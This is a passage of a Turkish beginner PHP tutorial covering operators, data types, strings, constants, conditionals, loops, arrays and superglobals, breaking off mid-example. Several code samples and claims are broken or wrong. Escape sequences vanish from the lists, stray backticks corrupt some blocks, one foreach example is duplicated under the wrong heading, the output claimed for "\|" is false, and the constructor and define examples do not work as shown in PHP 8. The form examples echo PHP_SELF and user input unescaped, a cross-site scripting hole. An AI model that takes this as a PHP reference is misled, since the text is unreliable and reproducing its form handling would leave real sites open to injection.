   * `<=` Küçük eşittir

```php
    $a = 10; 
    $b = 5; 
    var_dump($a == $b); // false 
    var_dump($a != $b); // true 
    var_dump($a > $b); // true 
    var_dump($a <= $b); // false
```

4. **Mantıksal Operatörler**:
   * `&&` veya `and` Mantıksal VE
   * `||` veya `or` Mantıksal VEYA
   * `!` Mantıksal DEĞİL

```php
    $x = true; 
    $y = false; 
    var_dump($x && $y); // false 
    var_dump($x || $y); // true 
    var_dump(!$x); // false
```

5. **Dizi Operatörleri**:
   * `+` Dizi birleştirme
   * `==` Eşitse
   * `===` Aynı türde ve eşitse

```php
$array1 = array("a" => "kırmızı", "b" => "yeşil");
$array2 = array("c" => "mavi", "d" => "sarı");
$result = $array1 + $array2; // Birleştirme        
var_dump($result);
```

6. **Diğer Operatörler**:
   * `.=` Dize birleştirme ve atama
   * `++` Artırma
   * `--` Azaltma
   * `?:` Ternary operatörü

```php
    `$txt1 = "Merhaba";
     $txt2 = "Dünya!"; 
     echo $txt1 . " " . $txt2; // Dize birleştirme 
     $x = 5; 
     echo ++$x; // 6 
     $y = 10; 
     echo $y--; // 10`
```

Bu operatörler, PHP'de değişkenleri tanımlamak, verilerle çalışmak ve programların akışını kontrol etmek için kullanılır. Bu temel yapı taşları, PHP'de güçlü ve esnek uygulamalar geliştirmenize olanak sağlar.

A1) Bu örnekte, iki sayıyı toplayacağız, çıkaracağız, kalanını bulacağız ve eşit olup olmadıklarını kontrol edeceğiz.

```php
<?php
// Değişkenler
$sayi1 = 10;
$sayi2 = 5;

// Toplama işlemi
$toplam = $sayi1 + $sayi2;
echo "Toplam: " . $toplam . "\n";

// Çıkarma işlemi
$fark = $sayi1 - $sayi2;
echo "Fark: " . $fark . "\n";

// Kalan (Modülüs) işlemi
$kalan = $sayi1 % $sayi2;
echo "Kalan: " . $kalan . "\n";

// Eşit mi? (Karşılaştırma)
$esitMi = ($sayi1 == $sayi2);
echo "Eşit mi?: " . ($esitMi ? "Evet" : "Hayır") . "\n";
?>

```


# 1.7 Veri Türünü Alma

## Veri Türünü Alma

Herhangi bir nesnenin veri türünü `var_dump()` kullanarak alabilirsiniz `var_dump()`İşlev, veri türünü ve değeri döndürür:

```php
$x = 5;
var_dump($x);
```

## Veri Türleri

PHP dinamik bir dil olduğu için değişkenlerin türlerini belirtmek gerekmez. Ancak, değişkenlerin türleri şunlar olabilir:

* **Dize (String)**: Metin verileri.
* **Tamsayı (Integer)**: Tam sayılar.
* **Ondalık (Float/Double)**: Ondalık sayılar.
* **Mantıksal (Boolean)**: Doğru veya yanlış (true/false).
* **Dizi (Array)**: Birden fazla değeri depolamak için kullanılır.
* **Nesne (Object)**: Sınıf örnekleri.
* **NULL**: Hiçbir değeri olmayan değişkenler.

> \[!NOTE] **NOT:** PHP, değişkeni değerine bağlı olarak otomatik olarak doğru veri türüne dönüştürür.​

## Dize (String)

**Ne işe yarar:** Metin verilerini depolar. Genellikle kullanıcıdan alınan girişler, dosya içerikleri veya mesajlar gibi metin tabanlı veriler için kullanılır.

```php
<?php 
$dize = "Merhaba Dünya!"; 
echo $dize; // Merhaba Dünya! 
?>
```

## Tamsayı (Integer)

**Ne işe yarar:** Tam sayıları depolar. Sayısal hesaplamalar, döngü sayaçları, yaş, adet gibi sayısal değerleri tutmak için kullanılır.

```php
<?php 
$tamsayi = 25; 
echo $tamsayi; // 25 
?>
```

## Ondalık (Float/Double)

**Ne işe yarar:** Ondalık sayıları depolar. Genellikle fiyatlar, ölçümler, matematiksel hesaplamalar gibi kesirli sayıları tutmak için kullanılır.

```php
<?php 
$ondalik = 3.14; 
echo $ondalik; // 3.14 
?>
```

## Mantıksal (Boolean)

**Ne işe yarar:** Doğru (true) veya yanlış (false) değerlerini depolar. Genellikle koşullu ifadelerde ve mantıksal kontrol yapılarına karar vermede kullanılır.

```php
`<?php 
$dogru = true; $yanlis = false;  
echo $dogru; //1
echo "<br>"; 
echo $yanlis; // Boş bir çıktı (hiçbir şey yazdırmaz) 
?>`
```

## Dizi (Array)

**Ne işe yarar:** Birden fazla değeri tek bir değişkende depolar. Liste veya koleksiyon verilerini depolamak için kullanılır.

```php
`<?php
$renkler = array("Kırmızı", "Yeşil", "Mavi");  
echo $renkler[0]; // Kırmızı 
echo "<br>"; 
echo $renkler[1]; // Yeşil 
echo "<br>"; 
echo $renkler[2]; // Mavi 
?>`
```

## Nesne (Object)

**Ne işe yarar:** Sınıfların örneklerini depolar. Nesne yönelimli programlamada veri ve fonksiyonları bir arada tutmak için kullanılır.

```php
<?php
class Araba {
    function Araba() {   
          $this->model = "BMW";   
     } 
  }  
  $arabam = new Araba(); 
  echo $arabam->model; // BMW 
  ?>
```

## NULL

**Ne işe yarar:** Bir değişkenin değersiz olduğunu belirtir. Bir değişkenin başlangıçta bir değeri olmadığını veya değerinin sıfırlandığını göstermek için kullanılır.

```php
<?php 
$degisken = NULL; 
echo $degisken; // Boş bir çıktı (hiçbir şey yazdırmaz) 
?>
```

**A2)** Bir öğrenci notlarını saklamak ve ortalamasını hesaplamak için PHP değişkenlerini kullanarak bir program yazın. Bu programda üç farklı dersten alınan notlar (matematik(75), fen(91), edebiyat(74)) değişkenler kullanılarak saklanmalıdır. Daha sonra bu notların ortalaması hesaplanıp ekrana yazdırılmalıdır. Elde edilen ortalamanın hangi veri türüne ait olduğu öğrenilmelidir.

````php
<!DOCTYPE html>
```php
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Öğrenci Not Ortalaması</title>
</head>
<body>
    <?php
    // Ders notlarını saklayan değişkenler
    $matematik_notu = 75;
    $fen_notu = 91;
    $edebiyat_notu = 74;

    // Notların ortalamasını hesaplama
    $ortalama = ($matematik_notu + $fen_notu + $edebiyat_notu) / 3;

    // Ortalamayı ekrana yazdırma
    echo "Matematik Notu: " . $matematik_notu . "<br>";
    echo "Fen Notu: " . $fen_notu . "<br>";
    echo "Edebiyat Notu: " . $edebiyat_notu . "<br>";
    echo "Ortalama: " . $ortalama;
    var_dump($ortalama);
    ?>
</body>
</html>
````

```
```


# 1.8 PHP'de String

PHP'de stringler, çift tırnak `("...")` veya tek tırnak `('...')` kullanılarak tanımlanabilir. Çift tırnak ve tek tırnak arasında bazı farklar vardır:

## Çift Tırnak (`"..."`):

* Çift tırnak içinde değişkenler doğrudan kullanılabilir ve bunlar işlenir.
* Kaçış karakterleri (escape sequences) kullanılabilir.

```php
$name = "Özgür"; 
$message = "Merhaba, benim adım $name!"; // $name değişkeni işlenir. 
echo $message; // Çıktı: Merhaba, benim adım Özgür!`
```

## Tek Tırnak (`'...'`):

* Tek tırnak içinde değişkenler işlenmez, olduğu gibi yazılır.
* Kaçış karakterleri sınırlıdır (örneğin, sadece `\'` ve `\\`).

```php
$name = "Özgür";
$message = 'Merhaba, benim adım $name!'; // $name değişkeni işlenmez.
echo $message; // Çıktı: Merhaba, benim adım $name!
```

## String Fonksiyonları:

PHP'de stringlerle çalışmak için birçok fonksiyon vardır. Bazı yaygın kullanılan fonksiyonlar ve örnekler:

1. `strlen($string)`: Stringin uzunluğunu döner.

```php
    $string = "Merhaba"; echo strlen($string); // Çıktı: 7
```

2. `str_replace($search, $replace, $subject)`: String içinde bir değeri başka bir değerle değiştirir.

```php
     $original = "Merhaba dünya"; 
     $new = str_replace("dünya", "PHP", $original); 
     echo $new; // Çıktı: Merhaba PHP
```

3. `substr($string, $start, $length)`: Stringin bir parçasını döner.

```php
    $string = "Merhaba dünya"; 
    echo substr($string, 0, 7); // Çıktı: Merhaba
```

4. `strrev($string)`: Bir dizgeyi ters çevirmek için kullanılır.

```php
    $string = "Merhaba"; echo strrev($string); // Çıktı: abahreM
```

5. `strtoupper($string)`: Stringi büyük harfe çevirir.

```php
    $string = "merhaba"; 
    echo strtoupper($string); // Çıktı: MERHABA
```

6. `strpos($haystack, $needle)`: Bir string içinde başka bir stringin konumunu döner.

```php
    $string = "Merhaba dünya"; 
    echo strpos($string, "dünya"); // Çıktı: 8
```

> \[!NOTE] **Not:** Bir dizedeki ilk karakter konumu 0'dır (1 değil).

7. `strtolower($string)`: Stringi küçük harfe çevirir.

```php
    `$string = "MERHABA"; 
    echo strtolower($string); // Çıktı: merhaba`
```

> \[!todo]
>
> * **Çift tırnaklar**: Değişkenler ve kaçış karakterleri işlenir.
> * **Tek tırnaklar:** Değişkenler işlenmez, metin olduğu gibi yazılır.
> * **String fonksiyonları**: String manipülasyonu ve analizi için kullanılır.

## Kaçış Karakterleri

PHP'de kaçış karakterleri, özel karakterlerin string içinde kullanılmasına olanak tanır. Kaçış karakterleri, bir ters eğik çizgi `\` kullanılarak belirlenir.

### Yaygın Kaçış Karakterleri:

1. **Yeni Satır**:
2. **Sekme (Tab)**:
3. **Geri Dönüş**:
4. **Ters Eğik Çizgi**: `\\`
5. **Çift Tırnak**: `\"`
6. **Tek Tırnak**: `\'`
7. **Dik Üst Çizgi**: `\|`

```php
<?php
// Yeni satır 
$metin = "Merhaba,\nDünya!"; 
echo $metin; // Çıktı:
// Merhaba, 
// Dünya!  

// Sekme 
$metin = "Merhaba,\tDünya!"; 
echo $metin; // Çıktı: Merhaba, 	Dünya!  

// Geri dönüş 
$metin = "Merhaba,\rDünya!"; 
echo $metin; // Çıktı: Dünya!  

// Ters eğik çizgi 
$metin = "Ters eğik çizgi: \\"; 
echo $metin; // Çıktı: Ters eğik çizgi: \  

// Çift tırnak 
$metin = "Bu bir \"alıntı\"."; 
echo $metin; // Çıktı: Bu bir "alıntı".  

// Tek tırnak 
$metin = 'Bu bir \'alıntı\'.'; 
echo $metin; // Çıktı: Bu bir 'alıntı'.

// Dik üst çizgi 
$metin = "Dik üst çizgi: \|"; 
echo $metin; // Çıktı: Dik üst çizgi: | 
?>
```

### Açıklamalar:

1. : Yeni bir satır başlatır.
2. : Bir sekme karakteri ekler.
3. : Geri dönüş karakteri ekler (genellikle satır başına dönüş anlamına gelir).
4. **`\\`**: Bir ters eğik çizgi ekler.
5. **`\"`**: Bir çift tırnak ekler.
6. **`\'`**: Bir tek tırnak ekler.
7. **`\|`**: Bir dik üst çizgi ekler.

Bu kaçış karakterleri, metinleri doğru şekilde formatlamak ve özel karakterleri string içinde kullanmak için oldukça kullanışlıdır.

A1) Kullanıcının adını alıp, bu adı büyük harfe çevirelim, uzunluğunu bulalım.

```php
<?php
// Kullanıcı adı
$isim = "Özgür";

// 1. İsmi büyük harfe çevirme
$buyukHarfIsim = strtoupper($isim);
echo "Büyük Harf: " . $buyukHarfIsim . "\n";

// 2. İsmin uzunluğunu bulma
$isimUzunlugu = strlen($isim);
echo "İsmin Uzunluğu: " . $isimUzunlugu . "\n";
?>
```

```php
`Büyük Harf: ÖZGÜR
İsmin Uzunluğu: 5 
```


# 1.9 PHP'de Sabitler

## **`define` Fonksiyonu Kullanımı:**

PHP'de bir sabit oluşturmak için `define` fonksiyonunu kullanabilirsiniz. `define` fonksiyonu üç parametre alır:

```php
define(name, value, case-insensitive);
```

1. **name**: Sabitin adını belirtir.
2. **value**: Sabitin değerini belirtir.
3. **case-insensitive**: Sabit adının büyük/küçük harfe duyarlı olup olmayacağını belirtir. PHP 8.0 itibariyle bu parametre her zaman `false` olmalıdır.

**Büyük/küçük harfe duyarlı** bir ada sahip bir sabit oluşturun:

```php
define("GREETING", "Welcome to Yavuzlar");
echo GREETING;
```

**Büyük/küçük harfe duyarlı olmayan** bir ada sahip bir sabit oluşturun:

```php
define("GREETING", "Welcome to Yavuzlar", true);
echo greeting;
```

**`const` Anahtar Kelimesi ile Sabit Tanımlama:**

```php
const MYCAR = "Volvo";
echo MYCAR;
```

## **`const` ve `define()` karşılaştırması**

* `const` her zaman büyük/küçük harfe duyarlıdır
* `define()` büyük/küçük harfe duyarlı olmayan bir seçeneğe sahiptir.
* `const` Başka bir blok kapsamı içinde (örneğin bir fonksiyon içinde veya bir `if` bloğunun içinde) oluşturulamaz.
* `define` başka bir blok kapsamı içinde oluşturulabilir.

## **Sihirli Sabitler**

PHP'deki sihirli sabitler (magic constants), belirli durumlarda özel değerler döndüren sabitlerdir. Bu sabitler, dosya yolları, sınıf isimleri, fonksiyon isimleri gibi bilgileri döndürmek için kullanılır ve hata ayıklama veya bilgi toplama gibi amaçlar için oldukça yararlıdır.

**Sihirli Sabitler ve Açıklamaları**

1. **`__CLASS__`**: Bir sınıf içinde kullanıldığında, sınıfın adını döner.

```php
<?php
class MyClass {
    public function getClassName() {
        return __CLASS__;
    }
}

$obj = new MyClass();
echo $obj->getClassName(); // Çıktı: MyClass
?>
```

2. **`__DIR__`**: Dosyanın bulunduğu dizini döner.

```php
<?php
echo __DIR__; // Çıktı: dosyanın bulunduğu dizinin tam yolu
?>
```

3. **`__FILE__`**: Dosyanın tam yolunu döner.

```php
<?php
echo __FILE__; // Çıktı: dosyanın tam yolu ve adı
?>
```

4. **`__FUNCTION__`**: Bir fonksiyon içinde kullanıldığında, fonksiyonun adını döner.

```php
<?php
function myFunction() {
    return __FUNCTION__;
}

echo myFunction(); // Çıktı: myFunction
?>
```

5. **`__LINE__`**: Geçerli satır numarasını döner.

```php
<?php
echo "Bu kod satırı " . __LINE__ . " satırındadır."; //Çıktı: Bu kod satırı 3 satırındadır.
?>
```

6. **`__METHOD__`**: Bir sınıfa ait bir fonksiyon içinde kullanıldığında, hem sınıf hem de fonksiyon adını döner.

```php
<?php
class MyClass {
    public function myMethod() {
        return __METHOD__;
    }
}

$obj = new MyClass();
echo $obj->myMethod(); // Çıktı: MyClass::myMethod
?>
```

7. **`__NAMESPACE__`**: Bir isim alanı içinde kullanıldığında, isim alanının adını döner.

```php
<?php
namespace MyNamespace;

echo __NAMESPACE__; // Çıktı: MyNamespace
?>
```

8. **`__TRAIT__`**: Bir trait içinde kullanıldığında, trait adını döner.

```php
<?php
trait MyTrait {
    public function getTraitName() {
        return __TRAIT__;
    }
}

class MyClass {
    use MyTrait;
}

$obj = new MyClass();
echo $obj->getTraitName(); // Çıktı: MyTrait
?>
```

9. **`ClassName::class`**: Belirtilen sınıfın adını ve varsa isim alanının adını döner.

```php
<?php
namespace MyNamespace;

class MyClass {}

echo MyNamespace\MyClass::class; // Çıktı: MyNamespace\MyClass
?>
```

> \[!NOTE]
>
> Sihirli sabitler büyük/küçük harfe duyarlı değildir, yani ile aynı değeri döndürür. `__LINE__` = `__line__`


# 2.0 PHP'de If Else Elseif

PHP'de `if` deyimi, koşullu ifadeler için kullanılır. Koşullar belirli bir ifadeyi değerlendirir ve bu ifadeye bağlı olarak belirli kod bloklarını çalıştırır. Bu, programların belirli durumlara göre farklı davranışlar sergilemesini sağlar. İşte bu başlıklar hakkında detaylı açıklamalar ve basit örnekler:

## `if` Nedir?

`if` deyimi, bir koşulu kontrol eder ve koşul doğruysa belirli bir kod bloğunu çalıştırır.

```php
if (koşul) {     
// koşul doğruysa çalışacak kodlar 
}
```

```php
<?php 
$yaş = 20;  
if ($yaş >= 18) {     
    echo "Reşitsiniz."; 
    } 
?>
```

> \[!özet]
>
> `if`: Bir koşul doğruysa kod bloğunu çalıştırır.

## `if` Operatörleri Nedir?

`if` deyimi içinde koşulları kontrol etmek için çeşitli karşılaştırma operatörleri kullanılır. İşte bazıları:

Matematiksel;

* `==`: Eşittir
* `!=`: Eşit değildir
* `>`: Büyüktür
* `<`: Küçüktür
* `>=`: Büyük eşittir
* `<=`: Küçük eşittir

```php
<?php 
$a = 5; 
$b = 10;  
if ($a < $b) {     
    echo "$a, $b'den küçüktür."; } 
?>
```

## Mantıksal;

* **`&&` (ve)**: Tüm koşulların doğru olması durumunda `true` döner.
* **`||` (veya)**: Koşullardan en az birinin doğru olması durumunda `true` döner.
* **`!` (değil)**: Koşulun tersini döner (koşul doğruysa `false`, yanlışsa `true`).

```php
<?php
$yaş = 20;
$gelir = 40000;

if ($yaş >= 18 && $gelir >= 30000) {
    echo "Kredi alabilirsiniz.";
} else {
    echo "Kredi alamazsınız.";
}
?>

```

## `if else` Nedir?

`if else` deyimi, bir koşul doğru değilse başka bir kod bloğunu çalıştırmak için kullanılır.

```php
if (koşul) {     
   // koşul doğruysa çalışacak kodlar 
} else {     
   // koşul yanlışsa çalışacak kodlar 
}
```

```php
<?php 
$sıcaklık = 30;

if ($sıcaklık > 25) {     
    echo "Hava sıcak."; 
} else {     
    echo "Hava soğuk."; 
} 
?>
```

> \[!özet]
>
> `if else`: Koşul doğru değilse alternatif kod bloğunu çalıştırır.

## `if elseif` Nedir?

`if elseif` deyimi, birden fazla koşulu kontrol etmek için kullanılır. İlk koşul doğru değilse, diğer koşullar kontrol edilir.

```php
`if (koşul1) {     
// koşul1 doğruysa çalışacak kodlar 
} elseif (koşul2) {     
// koşul2 doğruysa çalışacak kodlar 
} else {     
// tüm koşullar yanlışsa çalışacak kodlar 
}
```

```php
<?php 
$sıcaklık = 20; 

if ($sıcaklık > 30) {     
     echo "Hava çok sıcak."; 
} elseif ($sıcaklık > 20) {     
     echo "Hava sıcak."; 
} else {     
     echo "Hava soğuk."; 
} 
?>
```

> \[!özet]
>
> `if elseif`: Birden fazla koşulu kontrol eder.

## İç İçe `if` Nedir?

İç içe `if` deyimi, bir `if` bloğu içinde başka bir `if` bloğu kullanarak daha karmaşık koşulların kontrol edilmesini sağlar.

```php
if (koşul1) {     
// koşul1 doğruysa çalışacak kodlar    
if (koşul2) {         
// koşul2 doğruysa çalışacak kodlar     
} 
}
```

```php
<?php 
$yaş = 25; $gelir = 50000; 

if ($yaş >= 18) {     
if ($gelir >= 30000) {         
    echo "Kredi alabilirsiniz.";     
} else {         
    echo "Gelir yetersiz.";     
} 
} else {     
    echo "Reşit değilsiniz."; 
} 
?>
```

> \[!özet]
>
> İç içe `if`: Bir `if` bloğu içinde başka bir `if` bloğu kullanarak karmaşık koşulları kontrol eder.


# 2.1 Switch Case

## PHP'de `switch` ve `case` Nedir?

`switch` deyimi, bir değişkenin belirli bir değerle eşleşip eşleşmediğini kontrol etmek için kullanılır. Bu, çok sayıda `if` ve `else` deyimini kullanmak yerine daha temiz ve okunabilir bir alternatif sunar. Her bir olası değeri `case` deyimi ile belirtiriz. `break` deyimi, `switch` bloğunu sonlandırmak için kullanılır ve bir eşleşme bulunduktan sonra diğer `case` deyimlerinin çalışmasını engeller.

```php
switch (değişken) {
    case değer1:
        // kod bloğu
        break;
    case değer2:
        // kod bloğu
        break;
    default:
        // kod bloğu
}
```

> \[!NOTE]
>
> **`switch`**: Bir değişkenin farklı değerlere göre kontrol edilmesini sağlar. **`case`**: `switch` bloğu içinde kontrol edilecek her bir olası değeri belirtir.

```php
<?php
$gün = "Çarşamba";

switch ($gün) {
    case "Pazartesi":
        echo "Bugün Pazartesi.";
        break;
    case "Salı":
        echo "Bugün Salı.";
        break;
    case "Çarşamba":
        echo "Bugün Çarşamba.";
        break;
    default:
        echo "Hafta içi bir gün.";
}
?>
```

## `break` Nedir?

`break` deyimi, `switch` bloğunun sonlandırılmasını sağlar. Eğer `break` kullanılmazsa, eşleşen `case` bloğundan sonra gelen tüm `case` blokları da çalıştırılır (bu duruma "fall-through" denir).

> \[!NOTE]
>
> **`break`**: `switch` bloğunu sonlandırmak ve bir eşleşme bulunduktan sonra diğer `case` deyimlerinin çalışmasını engellemek için kullanılır.

```php
<?php
$gün = "Salı";

switch ($gün) {
    case "Pazartesi":
        echo "Bugün Pazartesi.";
    case "Salı":
        echo "Bugün Salı.";
    case "Çarşamba":
        echo "Bugün Çarşamba.";
    default:
        echo "Hafta içi bir gün.";
}
?>

```

## `default` Deyimi

`default` deyimi, hiçbir `case` ifadesi eşleşmediğinde çalışacak kod bloğunu belirtir. `default` isteğe bağlıdır ve kullanılmazsa hiçbir eşleşme olmadığında `switch` bloğu içindeki kod çalışmaz.

> \[!NOTE]
>
> **`default`**: Hiçbir `case` ifadesi eşleşmediğinde çalışacak kod bloğunu belirtir.

```php
<?php
$gün = "Pazar";

switch ($gün) {
    case "Pazartesi":
        echo "Bugün Pazartesi.";
        break;
    case "Salı":
        echo "Bugün Salı.";
        break;
    case "Çarşamba":
        echo "Bugün Çarşamba.";
        break;
    default:
        echo "Hafta içi değil.";
}
?>

```


# 2.2 PHP'de Döngüler

PHP'de döngüler, belirli bir kod bloğunun belirli bir koşul doğru olduğu sürece tekrar tekrar çalıştırılması için kullanılır. Bu, tekrarlayan işlemleri daha verimli hale getirir ve kodunuzu daha okunabilir yapar.

## `while` Döngüsü

`while` döngüsü, belirli bir koşul doğru olduğu sürece kod bloğunu tekrar tekrar çalıştırır.

```php
while (koşul) {
    // kod bloğu
}

```

```php
<?php
$sayı = 1;

// Koşul doğru olduğu sürece döngü devam eder.
while ($sayı <= 5) {
    // Mevcut sayı değerini ekrana yazdırır.
    echo "Sayı: $sayı<br>";
    // Sayaç değişkenini bir artırır.
    $sayı++;
}
?>
```

## `do while` Döngüsü

`do while` döngüsü, koşulun doğru olup olmadığına bakılmaksızın kod bloğunu en az bir kez çalıştırır ve sonra koşul doğru olduğu sürece devam eder.

```php
do {
    // kod bloğu
} while (koşul);
```

```php
<?php
$sayı = 1;

// Koşul kontrol edilmeden önce kod bloğu en az bir kez çalıştırılır.
do {
    // Mevcut sayı değerini ekrana yazdırır.
    echo "Sayı: $sayı<br>";
    // Sayaç değişkenini bir artırır.
    $sayı++;
} while ($sayı <= 5); // Koşul doğru olduğu sürece döngü devam eder.
?>
```

## `for` Döngüsü

`for` döngüsü, genellikle bir sayaç değişkeni ile kullanılır ve belirli bir sayıda tekrarlanır.

```php
for (başlangıç; koşul; artırma/azaltma) {
    // kod bloğu
}
```

```php
<?php
// Sayaç değişkeni 1'den başlar ve 5'e kadar artar.
for ($sayı = 1; $sayı <= 5; $sayı++) {
    // Mevcut sayı değerini ekrana yazdırır.
    echo "Sayı: $sayı<br>";
}
?>
```

## `foreach` Döngüsü

`foreach` döngüsü, dizi veya koleksiyonlar üzerinde iterasyon yapmak için kullanılır.

```php
foreach ($dizi as $değer) {
    // kod bloğu
}
```

```php
<?php
$meyveler = ["Elma", "Armut", "Muz", "Çilek"];

// Dizi üzerindeki her bir eleman için döngü devam eder.
foreach ($meyveler as $meyve) {
    // Mevcut meyve değerini ekrana yazdırır.
    echo "Meyve: $meyve<br>";
}
?>
```

## `break` ve `continue` Deyimleri

### **`break`**

`break` deyimi, döngüyü tamamen sonlandırır ve döngüden çıkar.

```php
<?php
// Sayaç değişkeni 1'den başlar ve 10'a kadar artar.
for ($sayı = 1; $sayı <= 10; $sayı++) {
    // Sayaç değişkeni 5 olduğunda döngüyü sonlandırır.
    if ($sayı == 5) {
        break;
    }
    // Mevcut sayı değerini ekrana yazdırır.
    echo "Sayı: $sayı<br>";
}
?>
```

### **`continue`**

`continue` deyimi, döngünün mevcut iterasyonunu sonlandırır ve bir sonraki iterasyona geçer.

```php
<?php
// Sayaç değişkeni 1'den başlar ve 10'a kadar artar.
for ($sayı = 1; $sayı <= 10; $sayı++) {
    // Sayaç değişkeni 5 olduğunda bu iterasyonu atlar ve bir sonraki iterasyona geçer.
    if ($sayı == 5) {
        continue;
    }
    // Mevcut sayı değerini ekrana yazdırır.
    echo "Sayı: $sayı<br>";
}
?>
```

> \[!Note]
>
> * **`while` Döngüsü**: Koşul doğru olduğu sürece kod bloğunu çalıştırır.
> * **`do while` Döngüsü**: Kod bloğunu en az bir kez çalıştırır ve sonra koşul doğru olduğu sürece devam eder.
> * **`for` Döngüsü**: Belirli bir sayaç değişkeni ile kullanılır ve belirli bir sayıda tekrarlanır.
> * **`foreach` Döngüsü**: Dizi veya koleksiyonlar üzerinde iterasyon yapar.
> * **`break` Deyimi**: Döngüyü tamamen sonlandırır.
> * **`continue` Deyimi**: Döngünün mevcut iterasyonunu sonlandırır ve bir sonraki iterasyona geçer.


# 2.3 PHP'de Diziler (Arrays)

Diziler, birden fazla değeri tek bir değişkende saklamak için kullanılır. PHP'de diziler, anahtar-değer çiftleri olarak saklanır ve iki ana türü vardır: **indeksli diziler** ve **ilişkisel diziler**. Ayrıca, **çok boyutlu diziler** de kullanılabilir.

## 1.İndeksli Diziler

İndeksli dizilerde, her bir eleman bir sayısal anahtarla tanımlanır. İndeksler 0'dan başlar.

**Örnek: İndeksli Dizi Oluşturma ve Erişme**

```php
<?php
// Dizi tanımlama
$renkler = array("kırmızı", "yeşil", "mavi", "sarı");

// Dizi elemanlarına erişme
echo "Birinci renk: " . $renkler[0] . "<br>";
echo "İkinci renk: " . $renkler[1] . "<br>";
echo "Üçüncü renk: " . $renkler[2] . "<br>";
echo "Dördüncü renk: " . $renkler[3] . "<br>";
?>
```

## 2. İlişkisel Diziler

İlişkisel dizilerde, her bir eleman bir metin anahtarıyla tanımlanır. Bu tür dizilerde, anahtarlar özel adlar olabilir.

**Örnek: İlişkisel Dizi Oluşturma ve Erişme**

```php
<?php
// İlişkisel dizi tanımlama
$yaslar = array("Ahmet" => 25, "Mehmet" => 30, "Ayşe" => 22);

// Dizi elemanlarına erişme
echo "Ahmet'in yaşı: " . $yaslar["Ahmet"] . "<br>";
echo "Mehmet'in yaşı: " . $yaslar["Mehmet"] . "<br>";
echo "Ayşe'nin yaşı: " . $yaslar["Ayşe"] . "<br>";
?>
```

## 3. Dizilerde Döngüler

Dizilerde döngü kullanarak elemanlara erişmek yaygındır. `foreach` döngüsü genellikle bu amaçla kullanılır.

**Örnek: İndeksli Dizide `foreach` Döngüsü Kullanma**

```php
<?php
$meyveler = array("elma", "muz", "çilek", "kiraz");

foreach ($meyveler as $meyve) {
    echo "Meyve: $meyve <br>";
}
?>

```

**Örnek: İlişkisel Dizide `foreach` Döngüsü Kullanma**

```php
<?php
$meyveler = array("elma", "muz", "çilek", "kiraz");

foreach ($meyveler as $meyve) {
    echo "Meyve: $meyve <br>";
}
?>
```

## 4. Çok Boyutlu Diziler

Çok boyutlu diziler, dizi içinde diziler içerebilir. En yaygın çok boyutlu dizi türü, iki boyutlu dizilerdir.

**Örnek: İki Boyutlu Dizi Oluşturma ve Erişme**

```php
<?php
// İki boyutlu dizi tanımlama
$arabalar = array(
    array("Volvo", 22, 18),
    array("BMW", 15, 13),
    array("Saab", 5, 2),
    array("Land Rover", 17, 15)
);

// Dizi elemanlarına erişme
echo $arabalar[0][0] . ": Stokta " . $arabalar[0][1] . ", Satışta " . $arabalar[0][2] . "<br>";
echo $arabalar[1][0] . ": Stokta " . $arabalar[1][1] . ", Satışta " . $arabalar[1][2] . "<br>";
echo $arabalar[2][0] . ": Stokta " . $arabalar[2][1] . ", Satışta " . $arabalar[2][2] . "<br>";
echo $arabalar[3][0] . ": Stokta " . $arabalar[3][1] . ", Satışta " . $arabalar[3][2] . "<br>";
?>

```

## 5. Dizi Fonksiyonları

PHP, dizilerle çalışmayı kolaylaştıran birçok yerleşik fonksiyon sağlar.

**`count()` Fonksiyonu: Dizideki Eleman Sayısını Döner**

```php
<?php
$meyveler = array("elma", "muz", "çilek", "kiraz");
echo "Dizideki eleman sayısı: " . count($meyveler);
?>

```

**`array_merge()` Fonksiyonu: İki veya Daha Fazla Diziyi Birleştirir**

```php
<?php
$dizi1 = array("elma", "muz");
$dizi2 = array("çilek", "kiraz");
$birlesmisDizi = array_merge($dizi1, $dizi2);

print_r($birlesmisDizi);
?>

```

**`array_search()` Fonksiyonu: Dizide Belirli Bir Değerin Anahtarını Döner**

```php
<?php
$meyveler = array("elma", "muz", "çilek", "kiraz");
$anahtar = array_search("çilek", $meyveler);

if ($anahtar !== false) {
    echo "'çilek' dizinin $anahtar. anahtarında bulunuyor.";
} else {
    echo "'çilek' dizide bulunamadı.";
}
?>

```


# 2.4 PHP'de Süper Global Değişkenleri

PHP süper küresel değişkenler, PHP betiği boyunca her yerden erişilebilen özel değişkenlerdir. Bu değişkenler, form verilerini toplamak, oturumları yönetmek, sunucu bilgilerini almak gibi birçok farklı amaç için kullanılır.

## **`$GLOBALS`**

`$GLOBALS` değişkeni, tüm PHP betiğinde tanımlanan tüm değişkenlere global olarak erişmek için kullanılır.

```php
<?php
$x = 10;
$y = 20;

function toplama() {
    $GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}

toplama();
echo $z; // 30
?>
```

## **`$_SERVER`**

`$_SERVER` değişkeni, başlıklar, yol ve komut dosyası konumu gibi bilgileri içeren bir dizi döndürür.

```php
<?php
echo $_SERVER['PHP_SELF']; // Mevcut betik adı
echo "<br>";
echo $_SERVER['SERVER_NAME']; // Sunucu adı
echo "<br>";
echo $_SERVER['HTTP_HOST']; // Host başlığı
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT']; // Kullanıcı ajan bilgisi
echo "<br>";
echo $_SERVER['SCRIPT_NAME']; // Betik adı
?>
```

## **`$_REQUEST`**

`$_REQUEST` değişkeni, GET, POST ve COOKIE giriş değişkenlerini içeren bir dizi döndürür.

```php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $ad = $_REQUEST['ad'];
    if (empty($ad)) {
        echo "Ad boş!";
    } else {
        echo "Merhaba $ad";
    }
}
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Ad: <input type="text" name="ad">
  <input type="submit">
</form>
```

## **`$_POST`**

`$_POST` değişkeni, HTTP POST yöntemini kullanarak gönderilen verileri toplamak için kullanılır.

```php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $ad = $_POST['ad'];
    echo "Merhaba $ad";
}
?>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
  Ad: <input type="text" name="ad">
  <input type="submit">
</form>
```

## **`$_GET`**

`$_GET` değişkeni, URL'deki sorgu dizisi (query string) üzerinden gönderilen verileri toplamak için kullanılır.

```php
<?php
if ($_SERVER["REQUEST_METHOD"] == "GET") {
    $ad = $_GET['ad'];
